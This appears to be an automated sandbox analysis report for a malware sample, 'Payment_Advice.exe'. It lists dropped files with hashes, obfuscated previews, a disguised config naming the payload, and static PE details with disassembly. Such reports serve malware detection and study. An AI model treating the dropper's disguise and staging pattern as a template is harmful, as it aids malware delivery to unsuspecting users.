Preview:	..'.3.5.U.5.X.5.9.j.....'.8.O.5.2.y.4.4.5.....'.Z.3.8.3.9.q.G.3.5.O.0.7.8.R.5.s.....'.G.1.z.f.q.c.F.9.3.a.S.0.3.k.9.B.2.4.1.1.x.5.R.2.z.D.4.4.c.r.W.b.8.R.9.Z.1.9.A.J.3.8.i.t.0.Q.9.N.....'.o.3.6.8.F.a.2.z.7.w.D.y.g.4.7.P.1.n.6.9.7.8.4.c.1.f.1.9.....'.9.E.T.i.F.5.3.7.M.G.y.D.V.5.2.t.Y.r.8.K.w.v.F.7.2.0.j.O.j.1.w.6.7.....'.H.3.o.f.2.Z.8.O.5.2.1.e.6.3.9.V.e.....'.8.4.5.6.G.P.1.n.9.3.6.1.p.M.u.3.4.L.7.5.1.7.g.5.9.3.....'.5.7.t.3.7.l.2.9.W.u.a.0.8.2.8.8.g.R.7.B.2.n.4.2.w.w.t.m.W.3.2.7.J.3.G.O.7.s.9.P.5.i.1.8.1.7.2.8.....'.6.8.4.6.4.2.1.3.I.1.2.3.2.C.7.o.E.V.2.1.Q.B.7.8.5.6.4.6.n.C.r.3.Z.Y.3.4.4.L.Z.c.9.a.2.c.4.....'.3.d.1.Z.6.L.p.Z.3.s.g.C.k.9.D.Q.h.6.J.7.0.J.P.1.1.F.....'.O.0.8.U.8.C.7.1.U.i.4.4.7.9.F.D.F.A.G.S.5.m.1.1.8.1.y.9.w.k.i.5.7.f.r.....'.8.V.C.1.o.6.6.b.H.B.2.1.6.6.U.9.0.....'.K.4.s.6.3.o.n.N.U.5.g.F.M.c.H.2.c.1.m.3.4.Q.2.R.0.7.6.c.o.5.W.7.9.....'.9.5.D.1.2.U.r.m.3.a.3.x.C.7.l.F.9.0.7.4.R.2.2.K.9.2.c.7.S.A.6.....'.Z.n.5.5.2.4.O.U.E.4.0.d.5.1.C.a.O.j.M.D.o.L.6.6.O.i.M.b.2.3.K.3.Y.i.

C:\Users\user\AppData\Local\Temp\RarSFX0\pxhoslpkpd.tqp

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	360466
Entropy (8bit):	4.033691022008579
Encrypted:	false
SSDEEP:	6144:NDNGviVuBHhnCpaFCc2RbiPF0TmKldDdk65ex8A:XYYp80Tpdk6IT
MD5:	8CDDEF3C2E89CFE5B2BC527CDF316725
SHA1:	1A689DB5E39E1E788605316D3524B50D499C84E2
SHA-256:	BF1169787491F2F717AA645277D678E34593AFF8996044F1623DFA1B046D4352
SHA-512:	A85D6D2926765A256006FBDD9E0B3E62FF0F4FFE42A2C1B4F29269671AC4B5BF0EAAD3B181814D6BBF89E7FAF96134F1F2F850550C8C0ECBEBE554803BD22586
Malicious:	false
Preview:	0x4D54552E8]]]]5883E8098_C883C03C8_]03C/83C0280308FFE/9]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]0C]]]]E/F_0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D024]]]]]]]_FC08EEF9D66_9EF9D66_9EF9D66_9F4]CD_999D66_9F4]F8_9EC9D66_9F4]F__9EE9D66_952696368EF9D66_9]]]]]]]]]]]]]]]]5045]]4C0/0/]C2E6773F]]]]]]]]E]]20/0_0/0*]]D202]]]]]]]]]80F/0/]]/]]]0F]2]]]4]]0/]]]]2]]05]0/]]]]]05]0/]]]]]]F]2]]02]]]]]]02]408/]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]02E74657874]]]E4D/02]]/]]]0D202]]/]]]]]]]]]]]]]]02]]06]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]

C:\Users\user\AppData\Local\Temp\RarSFX0\qoldwur.docx

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	523
Entropy (8bit):	5.486420516123225
Encrypted:	false
SSDEEP:	12:1MT2rRPAQOb2rkQF7JdBJ+v6Vtjj+GaV+Rc:1MTaE2rkg7JrJ+v6fjj+Gcwc
MD5:	E9F7298897314DACB6218BA85505CC37
SHA1:	B16AED5AF93CBDD7D10730C7CBDB5AD5119AEB88
SHA-256:	1AE25BD330A4CC954BF2AD55284B029425E6965BCAF47D768A94C11A1964EC79
SHA-512:	D181E6FF4A15FF9D551DD4E0A76BA287494D184CF4EDA548C9407BD492079BC389979D9D943348332EC05A7C5104008DA38E9F0BDFECF5BB9AA34C4C92EE7012
Malicious:	false
Preview:	3x872600M364378em7A8z7V..FontConstants ToolbarConstants..P6gmM21s19zX45BwoK..BorderConstants FileConstants..982AB77AFs040i967y5BC3aVFG21Kj79U2xyYE4v10941kt0k50N2q7v255Idh94N4UYd45S822L822z4B8ER52r027bR69A..ComboConstants FontConstants..91xW61wrh0F4KNC09598r7G06fTAQZSD6D30i0k8vy6kU64k42lRlZq2920M0X959U3R3P0965TH05cL6I6opo6f0dc2wNUb06W9KE8655Y..StructureConstants ButtonConstants..0yp4UaUY81k55337..ButtonConstants ToolbarConstants..B76T08J4pu6KK84Yh79RNTu3H06KsQB4toQEMqOqdyNbLwA55f29c..ColorConstants StructureConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\qqftv.bmp

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36464
Entropy (8bit):	5.576228442031165
Encrypted:	false
SSDEEP:	768:0K0ePC97icbkkGnCKxg4N7GKqDeV8WDKYoWrVrUMG:0KBO7icIL+EqDK8+KYoWrpY
MD5:	7F18C73615F6F22DD53C82179B071D3A
SHA1:	BD3E73648F3D102D9655DF522CF96ABE2BD4450F
SHA-256:	8C9ABEE11A1911C3F7DB7B44568AC6CE8D6D31D5CCEE401CBE5CB9CE16F21801
SHA-512:	EA53A31173678275CEB7D1131E08EB80539CB3CD3E9476929194F93B5B70A0D30E999C76E2F10AC6344D29E6C09097ACEC87444CC87FEC93214B6F6E42A0D239
Malicious:	false
Preview:	03ig9760yE3253L0h07L0T6IPD0y250D46KK44276w..100w3Io119T1OE1K35O239v70464k2YmX60Afz0j09r426Ig0642o..894qsBkH813ilX5q20m85Ft7W29w58ai9z8nm7cz4p6l2Ig4PzS974T35W63..fY4sZ913V0GJE3VDWBFhy74R79827969140Ko4A74R84hQ265..30r3K1u8v8BK32573ii5v2E8b0PyD7p53Y57..61y0a3Wwvz0b31g168R0r44m3140p5N72470133..Q27s54N9I63E85oD139Xt3zHT08b3Gn97QW79Lr803O8kt2bye6v33N..vyLwqW765Ta6j09R3S3g7k64Asg57PFB2uB72688L..47c0x636Df81M08ktL09o46ZTbm8YE052l8UJ51711gf95nX..1LM99L178N2s9P88VD167N09S752c08013w09AUDod72zyM38m6M537K25518cGcO6w..FkGlEW1K6241PLz32WS2705aKfrSH35rjT6aQ710Y73560..u8l5X52rE3gvPe09811b4x22g986sYejmzOA8212ToNb..80xd60ib2P5zJ0YR8ip..75Z2T0n15n6l97Fj49949s1K51F364..d5246cll3V81evv32A8b22z1WfgN314k43X6Abk8ZO0sx57x4f87hkO1Pn91..mY2WH5ov486j8YGY762oJ3P85Y3Wp9p7H8aVC228UU2unXd4O3sf09T62t4ZC08X9647..3Xt9a466QHJ9a..2F3K382592783q3J3yT8U3NmS61x59075169p3M1907b7l02A4kG422g96B3..D7mMa3g78w17P54170690zM2tl56..E7q3SDUcg372218kV1V44xz..3G0q81t1jh3p1rING21x309Jafl252Ghbh31uR19X9O5ld..dw6H99944Y9d6vWhz1p7y865lR4JuPt

C:\Users\user\AppData\Local\Temp\RarSFX0\qrpx.dat

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	514
Entropy (8bit):	5.492641979248927
Encrypted:	false
SSDEEP:	12:HJen/j+SPenDOnw/O9JTA7nQQ5ZGCjOXwBPc:HJeb+GeDOw/OPTAk+ZGtgO
MD5:	FE96420D47790D25695E6178D758E06D
SHA1:	0A94974CB7CEBFB4A4891BD3DCE4F3BB2AB0F7A0
SHA-256:	B8BE155F510BCFFDC849F6A162BBA4532D1044AE09BD6668FA1E1E553A6CCE83
SHA-512:	44D7A36E11A4B32C2A227A3E2D1FC5B588AB72F788CE00949A1BF945CC43B0B6594280E4B65641E012402F33FB74901B2ADB66C6EEE1FEFDAF5CD5DA680040E4
Malicious:	false
Preview:	3u2l88Z7836574k3D270e1Gv5327L2m1hmI21448n1m1Y8hgwQ4431P4i975itma22m67o51Z1U24S3Mp52F46P2NFwt456Yj7439W04rQ..DateTimeConstants BorderConstants..6613Vb39eool..ColorConstants BorderConstants..KcEsb8xZ6931s4RcSPrv848k7OP9D8WBqu2z2..GuiDateTimePicker FontConstants..5jrH4g9c1p9146879Bw4c09Z2Ze8V92599e05A8Fkx6aO7v8B80b70326yo621nV4TMNitETW7lU63mk5dB0..FontConstants ButtonConstants..oolu5r8N8I03j9G017394igj5H813d288339xgeuD4711OIzS74Cr61985Sf5u7Bl37039254KK86SN3KJ5wj055BzG06fkTh4i..ButtonConstants TreeViewConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\rlcejab.jpg

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	544
Entropy (8bit):	5.4430987153635355
Encrypted:	false
SSDEEP:	12:dlPSreQQ+OGps+jWVe0PUwhV6iU79v3W41IYICJ:dlPSSRGxjW8fg63JvGqILCJ
MD5:	3691A998A5084B4CA7AA32EB7175630D
SHA1:	4A706B554E1664F6DAEB90DBBD1FDDB95123B32E
SHA-256:	84486C3CADC3CB8F4B982B77AAFBDD4503EDAAFDAA797E84F570CC1970B51A25
SHA-512:	6559DFDF33614B2FAA3DA54E697F08528E8C6FE0B4463A3B394FDDC14F9417787AAF5CD00DF3F0796032E8CC605BF3F2F042182BA9380D24DABFD9614894B184
Malicious:	false
Preview:	7g02tL9wQ13f3R0Mms4K0pXQ12Eo73365v7FbKpc12l78h0u04S7k8H0..FileConstants ColorConstants..47KwxND7C82hBi4M767m0FVtv53N40XeP90..BorderConstants ComboConstants..z28721658378C5TO5603y3G3uDHW6F9t853em9nR2N9425sKX78F2cRE64X208f294k97Dm1fQ6934Q7WT10i26..TreeViewConstants FontConstants..0t2M1597JLH41vT5354oUZnr5Slpc9ot5u633771J15z09i9Eb6j5cG116G09..DateTimeConstants ColorConstants..0e0L732M0d6q5M5589684LNScak6sJy2766LjIK0T806i709h26Vt438a3q7Gw7or9uK4rj32..ToolbarConstants ToolTipConstants..369Ux84x658Nu0lbdnjq5959yVA..FileConstants FontConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\romjuj.3gp

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	605
Entropy (8bit):	5.536085104858179
Encrypted:	false
SSDEEP:	12:w5bSEwnkyzYtExRbNDXg3b42LqmZAOY5D0RdeAkC:w5bSEwnkyzYtELNLG7/g90VkC
MD5:	E73990700830EDF4688E3BEA361D3B1D
SHA1:	E426202D11E3733F9368DD3AA6D8A11299755071
SHA-256:	5C4D023B567F983E777EEF2562B5CD595AA4189E8E597B2F2EB741ECD7C25F52
SHA-512:	ECE2F8BEDF3991E98894B9A86C4D92C9C1BBE620253CE3DD26E6C86E7B52426F498CE6980ACFF9707CC13A4D1819AE84B9E4FFA3CCCF6FD1829995600021725D
Malicious:	false
Preview:	128FUb80757l07ywD08ol402j0hMy1288d78..FontConstants UpDownConstants..4Y5S2..ColorConstants GuiDateTimePicker..6FxZlku1fTu5r36U344Xn2Z033FSb7279XneTHK66Ulw7A3K32C..UpDownConstants DateTimeConstants..jLj3oTc4OI..ComboConstants FontConstants..66EZX7V690z943Jv8758Vl5335iT9B87F1aQB5OatwS80e9M06q0B24r77yfzbC9z23lwB8j539hKar943a5V3vzGh4223e4Zid6tIQs4B84F76262n4UfC7f3mxUi06sT1037e18e4cO3y2867s8K803Z13n4T67D52ANOM7..DateTimeConstants ToolTipConstants..UYb8e4Yd93o1E3zZF3Y46p1Z674F64t42T057340DKVG3Lgv8fq84U535LB3NR633qqPee3Rv96q7X4swQ13x0ED6B38C64GS9wKNXfw707608DOfric9T486..GuiDateTimePicker ButtonConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\rscnl.msc

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	639
Entropy (8bit):	5.557774913615759
Encrypted:	false
SSDEEP:	12:EGZ77rZFtUGzRiO2KNkyAdoTLmfqmhRDInh6xRPox:EGZnrZ59HNUofIqmhREn0S
MD5:	D471DE477FD0A022AEC584CFF1AD7A35
SHA1:	AF7D19B04DD2B400DD6D37E4553B47EF0C21D644
SHA-256:	69F68E381BC3C6AE9589B9F484C78557B02F3BCF5ECF29FE7578E7C9869D2530
SHA-512:	284A39169ACBE793C3ED26B7233133340B42E1174C0E80296AF7C287447A291B75D996AB681473CEB439CDD310C356D4E7266E235405B5EB2C2F7B72CA1802AA
Malicious:	false
Preview:	5417O4M1pBS6B63E83191x16L71Q0Z1W9pZ2OAD5zX6b86ssX3dQ91SsCjJ88V18O4UXtZdRjX454DX3..GuiDateTimePicker ButtonConstants..4ws9n2gc7V47RgmP7Vn60vmL8k710b66iL4oigiC299F65k8km0ta15vMH..FileConstants StructureConstants..3gtJ62jw8O4763UVr825807O2wpEux6638hX92Cy11f648W8351S62257V3iXbCBYs646..ToolTipConstants ColorConstants..G8tZ5ElyE36s5TW2L765Z2tM84965Exe16L52J2ia7r5ON99Q02749z4V623F4KkL99Yl8Dw4i6272bei1j3610lRFipO8L9UN3W5WyW60wpXK7llC005ta70g1RG857RIB8FiK2t7i556H52m86..ButtonConstants FontConstants..jmn964FJZmrDi6535kD25HhY1XQM640w8P6060d01jCLA8895Q00Mq0jW8d21M8M2k3Am401Ua09288373h988749P144J7iX6r3960D5..DateTimeConstants ToolTipConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\srgicti.bin

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	560
Entropy (8bit):	5.545300329614889
Encrypted:	false
SSDEEP:	6:3KUuteBScgrt2/5hYqmCztBdeszRDtbVFdADqW8kogq2EKWAGx3U+Xp+oFUaYyJF:DBPCt2/oqNAmTOfPniTrXuaYyv
MD5:	7642278FD6ABC06D1FE502C833F9CB2A
SHA1:	29CD8DB95D709EB95B8FA1C63F248D24733EEDB4
SHA-256:	5779120C6F16C60CCC2B82A21A114A329F5867D4FFD821583D6557307ECBD5C5
SHA-512:	2BBC66BB13195CBAB4C1F9429B0B4EDDEF0A4D3A4282C845C8E4848D2B8331EE293B238FD17A59077B967918DB6B8FBE0B910AFBFE7D95FFDBFC2033DD66244C
Malicious:	false
Preview:	qAGN2yTB0updves76i0s07gQ021K2..ColorConstants TreeViewConstants..8qOr2nqql790F2wlczaK315K38MH925Lu292Zj5701z2at8uV..ButtonConstants FileConstants..V805qZH24894Tc4v4hb8I682FM523F14cE698d283Q9b49lyy2bH24LKoGoZw30Hh4m409655032N78eS03bUHCpcwL3pjryVzZ8..ToolbarConstants UpDownConstants..348Rm6496B14c63q949uI9S2E078s4B03262T4U2JYt1F36rD9F279W1..FontConstants UpDownConstants..7TIDl21SmZX49x00F66757dyT071MjMY92rAH9IE9C5G330z46IO7g022x07A9967I527A4A4tqOYuQ..UpDownConstants ColorConstants..qu8kqa534GlHG5w1ADIx50In10Y42Y18Ib9i7I..BorderConstants GuiDateTimePicker..

C:\Users\user\AppData\Local\Temp\RarSFX0\tgiqlmlxw.docx

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	524
Entropy (8bit):	5.545506791400954
Encrypted:	false
SSDEEP:	12:DzEOvMXjPW09Eis6O4FUTWUHtiUfE4ttJ0:RA9Eiq4FUTXtiUfn0
MD5:	6A42BCB175E8CB9E65D4879172D8C546
SHA1:	6984B6C27A7FA56D5B898E64525D6DF935682957
SHA-256:	5FDC74E2A783B1FB19FCC19FD5A36D8E6D7B790C20192214471F74C7D7427130
SHA-512:	AC3FB6AF168F09BB5C2F11D8A6550ECF85FEA7A8C1BF6DD8B9CAA2B0D4FE2CD944D579DC00D23D62B739A82CF3BF8FF9598B7AC264380FF97D869FD9A3BA8642
Malicious:	false
Preview:	jH3161YqY8024skXq8HZ92qfK713900jk92u35215X660y..TreeViewConstants FileConstants..9U8l56u01mqe722I35Z0Qk34TT4Cpn36m5ut716P56h17Ykz17BfJ6w22n10fFnit8155P4mi0h8o78d1N59z2r4KK7202..StructureConstants UpDownConstants..eLxu186272vb0y5fU2z418Xq9rNKN46y7h4vdmr2aI5..UpDownConstants ButtonConstants..5AZ3bYqGwY987bb22a72175O86Bve096eXs9lD9n8HJP2gwI4rFv15O13K67x00nLB4xwW0g7U0560HP60y0l0UJD45..StructureConstants FileConstants..D724E088Y6P99b2wvtZT3SJ2k724R53y28mH5u65r5ip7aVLZ1Z88z62MgcAt292NMeebU06..ColorConstants UpDownConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\tjqgitp.dll

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	650
Entropy (8bit):	5.610881619660425
Encrypted:	false
SSDEEP:	12:3aS1WzxnxCIs3yowK0/qIrl7tWdX1iXPuvRwjdScJO2n9/yD:3a80nfsiowK1IrZtaXqkRwjxMmqD
MD5:	B6F197C606265A50745AEFFD66E66836
SHA1:	A13D050F436C906FB5DAA2E69BEE8430F3643248
SHA-256:	B4E858CFBF8A45D6D46D8DB4EF1AD2DAF0D7C0A0B8C53172D10AE4590E9F332E
SHA-512:	81AAF49F3C838F4D8BFDA027F8162CA78F83B7E1DF4AECCBCFE97B102593662C83FC4C2A5AB43D28C7A5B01125FB3A4F298868983071E3C4D15CE528FD4B9448
Malicious:	false
Preview:	K11I4q66q995x4741u8v730840620851I..ToolbarConstants ToolTipConstants..7s14l08t0bj..FontConstants FontConstants..25Z06aI1f2liiG8AQ4J805MMsvnbv4iW6nZ71BB8kKLg157319v08y7Zcm05jO5454Nd5cH1B861q2kL46368EI7Qk..ToolTipConstants ToolTipConstants..j9567c95qVF73yU4I38EO28655W6087FH7HsAV30vsST4yT14EJ4hGpL9eK85VmDhb63mv0ngzT6BWyL5E71Ph7ZnOyPQO5W4k3qe8z4Vbx2961nlL3f1P2603e7N4l0G0133el641285U1y..GuiDateTimePicker FileConstants..3FqlQR961fV752v4cz1aR396qvUdtI4u213013YS8bi0t..ColorConstants GuiDateTimePicker..A4VP1s11rUvXIR82EzgIzyU33Pl6j27oP7F976ex58hK2O163AZ7936062HeF35ITaz7g47X81127J9e49gC7a00162BQdcahxY2w70GQ4K3485RuT5VK..ToolTipConstants FileConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\uaabfk.icm

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	534
Entropy (8bit):	5.566200256464235
Encrypted:	false
SSDEEP:	12:CzRBOzRFFfbaqny2LBYnauTIUGAqP9RmAcVdh5WZyq:CzbOdfbacy6YbumAcVdh5WZyq
MD5:	D29F9DB19D138B1D9FAA12EBD0DDB541
SHA1:	5E2AD088BD09B950BDC501D7AEA589351356F8B0
SHA-256:	94391F43F8FB6582CEF9F9368D56A43721826AEE67A05BC092D125B895239E0B
SHA-512:	04B5544A47830DC449938256601F8D2BCDD7110D766E31A3F9C7D4DA8028309968A5C30455149E101F1FD90E31B479B67F56766994616D7DD3C11DE5F32CAB0A
Malicious:	false
Preview:	hF2gsx3i60QuAB24U6xnv008E1r8PTZi58o47x15qEmU8532NW553R2YdA858l1lX8y8X8q119o03NZX84rTH02P5..FontConstants UpDownConstants..k8z946P8xv963vgi07Y8963M074V404dOm6fLq89l8n61U246q200w57i088DmXs13lD5491WP178941oR91eA4W225mvRYEeoq476pt7U5m6X2DF7364gE8CY3165ic6xY8O39LB1F98E..FontConstants ComboConstants..033R3v4hLM3ijpL72a3126YP4j69gp00169V00Kf42V0959t4v200WmQH5999bEwXc9ws5M9f7871347x37m852S9f427J0sV341X2kbsaXdvo8AHR4..TreeViewConstants StructureConstants..81Ie97Z1DP6g3zl6k94u8Mzx98B542T34yB3Z5HNBG3i..StructureConstants ToolTipConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\vplcux.dat

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	634
Entropy (8bit):	5.5604978590285326
Encrypted:	false
SSDEEP:	12:XZLF2XQFZKUApbGyQuS2IUN8UAnSbn52Iq:pLF2XIKJMyQJvUGUySbn7q
MD5:	58C8740DD9D8C9A6393D4321F8E635B4
SHA1:	3915412FA75ED57EBB025606C73E4F796FD35191
SHA-256:	9072F3031B047CCCFACF32609507C48F2BBF25F8EDC27AB2847CC73245E45294
SHA-512:	92894A63750F1153169FFD46A273F31AAEF249FC0E54454B45C00DFEA5E23BC524BCC8581CCB1C922F7FB8B8361052C779B1CE25B83A3288CCE06D31E4D710DF
Malicious:	false
Preview:	427wm2T92A9z5Ipv05HkVEb6E0GK9uDYt18UjFDqX2VX3p8c498z5I36nKs99U513KO6z3eH6..UpDownConstants ToolbarConstants..55a3P468J3d5hY6989l63jG3f0Bs6916Ts78Z9560f590..FileConstants ButtonConstants..a2e16V92h7088XS1Yo1C4Dy42ABa21X62SfMJ0FG3g51T6CH6OBm5F4jS963vo4681No94672nPE8I23..ToolTipConstants ToolbarConstants..760KH0a177W37V8IZ7OEl4X93G38Q8Kr2hM0imRfa3r75O2wN9kbD5jW6r1417l9730dmvk51Yc3053J1b52349nj2907idr009EK166uw36h164..StructureConstants ComboConstants..Y66Z444vhGC73hDTHe82u7DuB311058mWxv09Xv0v7173fr73m9543dbf764691Uvj590mHjYb9Ud3Muzma2a122ok12hnG8sl8FAg2148IUKfVh1Bz6E8352Ca817CPb7Txpge79b346L..StructureConstants ToolTipConstants..

C:\Users\user\temp\qqftv.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.820575548015795
Encrypted:	false
SSDEEP:	3:YRRvuf1lXhONvkY/ndYmN8wV/Isn:AvgDO9k4WgAs
MD5:	7A660CE753E331647665C2DD94F4B0D6
SHA1:	737696F79AAD5994703C6CDCD7008CBF4CC641FE
SHA-256:	33D2BE393F9CB8EA01161D1D38610B72B7D7C6C65F51ECCD6374316E856475A3
SHA-512:	19B9630022B367801653FBB37CE99CD8CC7B5569C361CEF78B51B3E909648DF93EB0FFE047E636700BD8C1014355010B0D9A3F1E19E6347BF914A06F93D7D999
Malicious:	false
Preview:	[S3tt!ng]..stpths=%userprofile%..Key=..Dir3ctory=ftpc..ExE_c=ewdbwwfpdh.bmp..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.79974903583339
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Payment_Advice.exe
File size:	1'131'860 bytes
MD5:	15b3674e7fe8c5fe5284bc290a09ecb8
SHA1:	222c994082583413a9ea054eaf41583712702a53
SHA256:	eb53ed1886ae853bdeb51270964242b2b03373388e65acc012c8fe0485b81514
SHA512:	848cd01f78bcd132bdd724f83cc99957d9110a569f1434528820f58b185a258a67522b2914d29d4670ddafe84d8fe760c021a55748cf53b7a66a01ad5470d2e6
SSDEEP:	24576:MTbBv5rUDkdwJ5nNr75xArQX8k18FGa6mPcyGJzQfs8FiNGVDg:OB/u5nd7HbXboGBQfoo0
TLSH:	8F351212B9C258B2C4721E326A757B20AA7C7C301FA58EDFA3E4952DDD715C1D331BA2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	146c5b13131a573e

Static PE Info

General

Entrypoint:	0x41f530
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	12e12319f1029ec4f8fcbed7e82df162

Entrypoint Preview

Instruction
call 00007F4311853B8Bh
jmp 00007F431185349Dh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F43118462E7h
mov dword ptr [esi], 004356D0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004356D8h
mov dword ptr [ecx], 004356D0h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004356B8h
push eax
call 00007F431185692Fh
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007F431185362Ch
push 0000000Ch
push esi
call 00007F4311852BE9h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F4311846262h
push 0043BEF0h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F43118563E9h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F43118535A8h
push 0043C0F4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F43118563CCh
int3
jmp 00007F4311857E67h
int3
int3
int3
int3
push 00422900h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d070	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d0a4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x19658	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7e000	0x233c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b11c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x355f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3c5ec	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31bdc	0x31c00	False	0.5909380888819096	data	6.712962136932442	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xaec0	0xb000	False	0.4579190340909091	data	5.261605615899847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x24720	0x1000	False	0.451416015625	data	4.387459135575936	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
